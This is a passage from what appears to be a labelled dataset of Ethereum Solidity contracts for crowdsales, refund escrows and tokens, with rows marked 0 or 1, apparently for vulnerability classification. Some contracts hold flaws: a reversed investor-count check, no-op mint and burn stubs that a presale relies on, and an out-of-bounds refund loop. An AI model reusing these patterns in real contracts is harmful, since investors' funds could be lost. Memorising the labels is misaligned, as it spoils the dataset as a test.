function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function calculatePrice(uint value, uint tokensSold, uint weiRaised) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function finalizeCrowdsale();
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
ERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
address public beneficiary;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
enum State{Unknown, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount);
event Refund(address investor, uint weiAmount);
function Crowdsale(address _token, address _pricingStrategy, address _multisigWallet, address _beneficiary, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = ERC20(_token);
pricingStrategy = PricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
beneficiary = _beneficiary;
if(beneficiary == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function invest(address receiver) inState(State.Funding) stopInEmergency payable public {
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold);
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] != 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner inState(State.PreFunding) {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract PresaleFundCollector is Ownable {
using SafeMathLib for uint;
uint public MAX_INVESTORS = 32;
uint public investorCount;
address[] public investors;
mapping(address => uint) public balances;
uint public freezeEndsAt;
uint public weiMinimumLimit;
bool public moving;
Crowdsale public crowdsale;
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
function PresaleFundCollector(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
freezeEndsAt = _freezeEndsAt;
}
function invest() public payable {
if(moving) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
if(investorCount >= MAX_INVESTORS) throw;
investors.push(investor);
investorCount++;
}
Invested(investor, msg.value);
}
function parcipateCrowdsaleInvestor(address investor) public {
if(address(crowdsale) == 0) throw;
moving = true;
if(balances[investor] > 0) {
uint amount = balances[investor];
delete balances[investor];
crowdsale.invest.value(amount)(investor);
}
}
function parcipateCrowdsaleAll() public {
for(uint i=0; i<investors.length; i++) {
parcipateCrowdsaleInvestor(investors[i]);
}
}
function refund() {
if(now < freezeEndsAt) throw;
moving = true;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
}
function() payable {
throw;
}
} | 0 | 666 |
pragma solidity ^0.4.18;
contract ElementhToken {
bool public mintingFinished = false;
function mint(address _to, uint256 _amount) public returns (bool) {
if(_to != address(0)) mintingFinished = false;
if(_amount != 0) mintingFinished = false;
return true;
}
function burn(address _to, uint256 _amount) public returns (bool) {
if(_to != address(0)) mintingFinished = false;
if(_amount != 0) mintingFinished = false;
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
mapping(address => bool) internal owners;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public{
owners[msg.sender] = true;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function addOwner(address newAllowed) onlyOwner public {
owners[newAllowed] = true;
}
function removeOwner(address toRemove) onlyOwner public {
owners[toRemove] = false;
}
function isOwner() public view returns(bool){
return owners[msg.sender] == true;
}
}
contract PreFund is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public deposited;
mapping (address => uint256) public claimed;
ElementhToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
event Refunded(address indexed beneficiary, uint256 weiAmount);
event AddDeposit(address indexed beneficiary, uint256 value);
event LogClaim(address indexed holder, uint256 amount);
function setStartTime(uint256 _startTime) public onlyOwner{
startTime = _startTime;
}
function setEndTime(uint256 _endTime) public onlyOwner{
endTime = _endTime;
}
function setWallet(address _wallet) public onlyOwner{
wallet = _wallet;
}
function setRate(uint256 _rate) public onlyOwner{
rate = _rate;
}
function PreFund(uint256 _startTime, uint256 _endTime, address _wallet, ElementhToken _token) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_wallet != address(0));
require(_token != address(0));
token = _token;
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
}
function () external payable {
deposit(msg.sender);
}
function deposit(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
deposited[beneficiary] = deposited[beneficiary].add(msg.value);
uint256 weiAmount = msg.value;
AddDeposit(beneficiary, weiAmount);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function forwardFunds() onlyOwner public {
require(now >= endTime);
wallet.transfer(this.balance);
}
function claimToken () public {
require (msg.sender != address(0));
require (now >= endTime);
require (deposited[msg.sender] != 0);
uint tokens = deposited[msg.sender] * rate;
token.mint(msg.sender, tokens);
deposited[msg.sender] = 0;
claimed[msg.sender] = tokens;
LogClaim(msg.sender, tokens);
}
function refundWallet(address _wallet) onlyOwner public {
refundFunds(_wallet);
}
function claimRefund() public {
require(now <= endTime);
refundFunds(msg.sender);
}
function refundFunds(address _wallet) internal {
require(_wallet != address(0));
require(deposited[_wallet] != 0);
uint256 depositedValue = deposited[_wallet];
deposited[_wallet] = 0;
_wallet.transfer(depositedValue);
if(claimed[_wallet] != 0){
token.burn(_wallet, claimed[_wallet]);
claimed[_wallet] = 0;
}
Refunded(_wallet, depositedValue);
}
} | 1 | 3,882 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract ClinicAllRefundEscrow is RefundEscrow {
using Math for uint256;
struct RefundeeRecord {
bool isRefunded;
uint256 index;
}
mapping(address => RefundeeRecord) public refundees;
address[] internal refundeesList;
constructor(address _beneficiary)
RefundEscrow(_beneficiary)
public {
}
function deposit(address _refundee) public payable {
require(state == State.Active, "Funds deposition is possible only in the Active state.");
super.deposit(_refundee);
RefundeeRecord storage _data = refundees[_refundee];
_data.isRefunded = false;
if (_data.index == uint256(0)) {
refundeesList.push(_refundee);
_data.index = refundeesList.length.sub(1);
}
}
function close() public onlyOwner {
super.close();
super.beneficiaryWithdraw();
}
function withdraw(address _payee) public onlyOwner {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
super.withdraw(_payee);
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function removeRefundeeByIndex(uint256 _indexToDelete) private {
if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) {
uint256 _lastIndex = refundeesList.length.sub(1);
refundeesList[_indexToDelete] = refundeesList[_lastIndex];
refundeesList.length--;
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return refundeesList.length;
}
function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
uint256 _refundeesCount = refundeesList.length;
require(_chunkLength >= _refundeesCount);
require(_txFee > 0, "Transaction fee should be above zero.");
require(_refundeesCount > 0, "List of investors should not be empty.");
uint256 _weiRefunded = 0;
require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees.");
address[] memory _refundeesListCopy = new address[](_chunkLength);
uint256 i;
for (i = 0; i < _chunkLength; i++) {
address _refundee = refundeesList[i];
RefundeeRecord storage _data = refundees[_refundee];
if (_data.isRefunded == false) {
if (depositsOf(_refundee) > _txFee) {
uint256 _deposit = depositsOf(_refundee);
if (_deposit > _txFee) {
_weiRefunded = _weiRefunded.add(_deposit);
uint256 _paymentWithoutTxFee = _deposit.sub(_txFee);
_refundee.transfer(_paymentWithoutTxFee);
emit Withdrawn(_refundee, _paymentWithoutTxFee);
_data.isRefunded = true;
_refundeesListCopy[i] = _refundee;
}
}
}
}
for (i = 0; i < _chunkLength; i++) {
if (address(0) != _refundeesListCopy[i]) {
RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]];
require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded.");
removeRefundeeByIndex(_dataCleanup.index);
}
}
return (_weiRefunded, _refundeesListCopy);
}
function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
return withdrawChunk(_txFee, refundeesList.length);
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] tokens) onlyOwner public {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ClinicAllToken is MintableToken, DetailedERC20, CappedToken, PausableToken, BurnableToken, TokenDestructible {
constructor
(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{
}
function burnAfterRefund(address _who) public onlyOwner {
uint256 _value = balances[_who];
_burn(_who, _value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Managed is Ownable, RBAC {
string public constant ROLE_MANAGER = "manager";
modifier onlyManager() {
checkRole(msg.sender, ROLE_MANAGER);
_;
}
function setManager(address _operator) public onlyOwner {
addRole(_operator, ROLE_MANAGER);
}
}
contract Limited is Managed {
using SafeMath for uint256;
mapping(address => uint256) public limitsList;
modifier isLimited(address _payee) {
require(limitsList[_payee] > 0, "An investor is limited if it has a limit.");
_;
}
modifier doesNotExceedLimit(address _payee, uint256 _tokenAmount, uint256 _tokenBalance) {
require(_tokenBalance.add(_tokenAmount) <= getLimit(_payee), "An investor should not exceed its limit on buying.");
_;
}
function getLimit(address _payee)
public view returns (uint256)
{
return limitsList[_payee];
}
function addAddressesLimits(address[] _payees, uint256[] _limits) public
onlyManager
{
require(_payees.length == _limits.length, "Array sizes should be equal.");
for (uint256 i = 0; i < _payees.length; i++) {
addLimit(_payees[i], _limits[i]);
}
}
function addLimit(address _payee, uint256 _limit) public
onlyManager
{
limitsList[_payee] = _limit;
}
function removeLimit(address _payee) external
onlyManager
{
limitsList[_payee] = 0;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ManagedWhitelist is Managed, Whitelist {
function addAddressToWhitelist(address _operator) public onlyManager {
addRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator) public onlyManager {
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ClinicAllCrowdsale is Crowdsale, FinalizableCrowdsale, MintedCrowdsale, ManagedWhitelist, Limited {
constructor
(
uint256 _tokenLimitSupply,
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _discountTokenAmount,
uint256 _discountTokenPercent,
uint256 _privateSaleClosingTime,
uint256 _softCapLimit,
ClinicAllRefundEscrow _vault,
uint256 _buyLimitSupplyMin,
uint256 _buyLimitSupplyMax
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{
tokenSupplyLimit = _tokenLimitSupply;
discountTokenAmount = _discountTokenAmount;
discountTokenPercent = _discountTokenPercent;
privateSaleClosingTime = _privateSaleClosingTime;
softCapLimit = _softCapLimit;
vault = _vault;
buyLimitSupplyMin = _buyLimitSupplyMin;
buyLimitSupplyMax = _buyLimitSupplyMax;
}
using SafeMath for uint256;
ClinicAllRefundEscrow public vault;
uint256 public tokenSupplyLimit;
uint256 public discountTokenAmount;
uint256 public discountTokenPercent;
uint256 public privateSaleClosingTime;
uint256 public softCapLimit;
uint256 public buyLimitSupplyMin;
uint256 public buyLimitSupplyMax;
function updateRate(uint256 _rate) public
onlyManager
{
require(_rate != 0, "Exchange rate should not be 0.");
rate = _rate;
}
function updateBuyLimitRange(uint256 _min, uint256 _max) public
onlyOwner
{
require(_min != 0, "Minimal buy limit should not be 0.");
require(_max != 0, "Maximal buy limit should not be 0.");
require(_max > _min, "Maximal buy limit should be greater than minimal buy limit.");
buyLimitSupplyMin = _min;
buyLimitSupplyMax = _max;
}
function claimRefund() public {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 deposit = vault.depositsOf(msg.sender);
vault.withdraw(msg.sender);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(msg.sender);
}
function claimRefundChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 _weiRefunded;
address[] memory _refundeesList;
(_weiRefunded, _refundeesList) = vault.withdrawChunk(_txFee, _chunkLength);
weiRaised = weiRaised.sub(_weiRefunded);
for (uint256 i = 0; i < _refundeesList.length; i++) {
ClinicAllToken(token).burnAfterRefund(_refundeesList[i]);
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return vault.refundeesListLength();
}
function hasClosed() public view returns (bool) {
return ((block.timestamp > closingTime) || tokenSupplyLimit <= token.totalSupply());
}
function goalReached() public view returns (bool) {
return token.totalSupply() >= softCapLimit;
}
function supplyRest() public view returns (uint256) {
return (tokenSupplyLimit.sub(token.totalSupply()));
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
doesNotExceedLimit(_beneficiary, _tokenAmount, token.balanceOf(_beneficiary))
{
super._processPurchase(_beneficiary, _tokenAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
isLimited(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokens = _getTokenAmount(_weiAmount);
require(tokens.add(token.totalSupply()) <= tokenSupplyLimit, "Total amount fo sold tokens should not exceed the total supply limit.");
require(tokens >= buyLimitSupplyMin, "An investor can buy an amount of tokens only above the minimal limit.");
require(tokens.add(token.balanceOf(_beneficiary)) <= buyLimitSupplyMax, "An investor cannot buy tokens above the maximal limit.");
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
if (isDiscount()) {
return _getTokensWithDiscount(_weiAmount);
}
return _weiAmount.mul(rate);
}
